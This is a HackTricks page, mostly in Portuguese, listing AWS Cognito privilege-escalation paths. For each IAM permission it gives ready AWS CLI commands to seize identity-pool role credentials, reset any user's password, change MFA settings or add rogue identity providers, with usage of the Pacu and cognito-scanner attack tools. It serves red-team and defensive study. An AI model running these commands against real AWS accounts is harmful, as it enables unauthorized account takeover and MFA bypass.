AWS - Cognito Privesc

Reading time: 12 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cognito

Para mais informações sobre Cognito, veja:

AWS - Cognito Enum

Coletando credenciais do Identity Pool

Como o Cognito pode conceder IAM role credentials tanto a authenticated an unauthenticated users, se você localizar o Identity Pool ID de uma aplicação (deve estar hardcoded nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem tinha credenciais anteriormente).

Para mais informações consulte esta página.

Impacto Potencial: Privesc direto para o service role anexado aos unauth users (e provavelmente para o anexado aos auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Com essa permissão você pode conceder qualquer cognito role aos authenticated/unauthenticated users do aplicativo Cognito.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Se o app cognito não tiver usuários não autenticados ativados, você também pode precisar da permissão cognito-identity:UpdateIdentityPool para habilitá-la.

Impacto Potencial: privesc direto para qualquer cognito role.

cognito-identity:update-identity-pool

Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma forma de acessar este Cognito Identity Pool. Então, apenas fazer login nesse provedor de usuário permitirá que ele accesse a role autenticada configurada no Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Também é possível abusar desta permissão para permitir basic auth:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: Comprometer o IAM role autenticado configurado dentro do identity pool.

cognito-idp:AdminAddUserToGroup

Essa permissão permite adicionar um Cognito user a um Cognito group, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios melhores ou IAM roles diferentes:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto Potencial: Privesc para outros Cognito groups e IAM roles anexados a User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Um atacante com essas permissões poderia criar/atualizar grupos com cada IAM role que pode ser usada por um Cognito Identity Provider comprometido e colocar um usuário comprometido no grupo, acessando todas essas roles:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto potencial: Privesc para outras Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

Essa permissão permite verificar um cadastro. Por padrão, qualquer pessoa pode fazer login em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la usando essa permissão.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Indirect privesc ao identity pool IAM role para usuários autenticados se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades da aplicação que permitem confirmar qualquer conta.

cognito-idp:AdminCreateUser

Essa permissão permitiria que um atacante criasse um novo usuário dentro do user pool. O novo usuário é criado como ativado, mas precisará alterar sua senha.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que permitem criar qualquer usuário

cognito-idp:AdminEnableUser

Essa permissão pode ajudar em um cenário muito específico em que um atacante encontrou as credenciais de um usuário desativado e precisa ativá-lo novamente.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indireta para a identity pool IAM role para usuários autenticados e para as permissões do usuário se o atacante tivesse credenciais de um usuário desabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Essa permissão permite efetuar login com o method ADMIN_USER_PASSWORD_AUTH. Para mais informações, siga o link.

cognito-idp:AdminSetUserPassword

Essa permissão permitiria que um atacante alterasse a senha de qualquer usuário, permitindo-lhe se passar por qualquer usuário (que não tenha MFA habilitado).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto Potencial: Privesc direto para potencialmente qualquer usuário, proporcionando acesso a todos os grupos dos quais cada usuário é membro e acesso ao Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como SMS MFA de um usuário.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um usuário, permitindo o bypass da proteção MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Semelhante à anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool para bypass a proteção de MFA.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Também é possível atualizar o user pool para alterar a política de MFA. Veja o CLI aqui.

Impacto Potencial: Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça; isso poderia permitir contornar a proteção MFA.

cognito-idp:AdminUpdateUserAttributes

Um atacante com essa permissão poderia alterar o e-mail, o número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\
Isso permite alterar um e-mail ou número de telefone e marcá-lo como verificado.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto Potencial: Potencial privesc indireto na aplicação subjacente que usa Cognito User Pool e que concede privilégios com base em atributos do usuário.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Um atacante com essa permissão poderia criar um novo User Pool Client menos restrito do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer tipo de método de autenticação, não possuir client secret, ter a revogação de tokens desabilitada, permitir que os tokens sejam válidos por um período mais longo...

O mesmo pode ser feito se, em vez de criar um novo client, um existente for modificado.

No command line (ou no update one) você pode ver todas as opções, confira!

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto Potencial: Potencial privesc indireto ao usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e permite que um attacker faça login com um usuário que ele conseguiu criar.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

An attacker poderia abusar desta permissão para criar usuários fazendo upload de um csv com novos usuários.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(No caso de criar um novo import job você pode também precisar da iam passrole permission — ainda não testei isso).

Impacto Potencial: Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que podem criar qualquer usuário.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Um atacante poderia criar um novo identity provider para então conseguir fazer login através deste provider.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: privesc direto ao identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário.

cognito-sync:* Análise

Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as permissões dadas não são muito úteis do ponto de vista de um atacante.

Essa permissão permite ler informações de uso de Identity Pools e dos Identity IDs dentro dos Identity Pools (o que não é informação sensível).
Identity IDs podem ter Datasets atribuídos a eles, que são informações das sessões (a AWS define isso como um jogo salvo). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na página de enumeração como acessar essa informação.

Um atacante também poderia usar essas permissões para inscrever-se em um Cognito stream que publica mudanças nesses datases ou em um lambda que é acionado por eventos do cognito. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.

Ferramentas Automáticas

  • Pacu, the AWS exploitation framework, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em atributos customizáveis modificáveis, usable identity pool credentials, assumable roles em id tokens, etc.

Para uma descrição das funções dos módulos veja a parte 2 do blog post. Para instruções de instalação veja a página principal do Pacu.

Uso

Exemplo de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em Python que implementa diferentes ataques no Cognito, incluindo uma privesc escalation.

Instalação

bash
$ pip install cognito-scanner

Uso

bash
$ cognito-scanner --help

Para mais informações, consulte https://github.com/padok-team/cognito-scanner

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks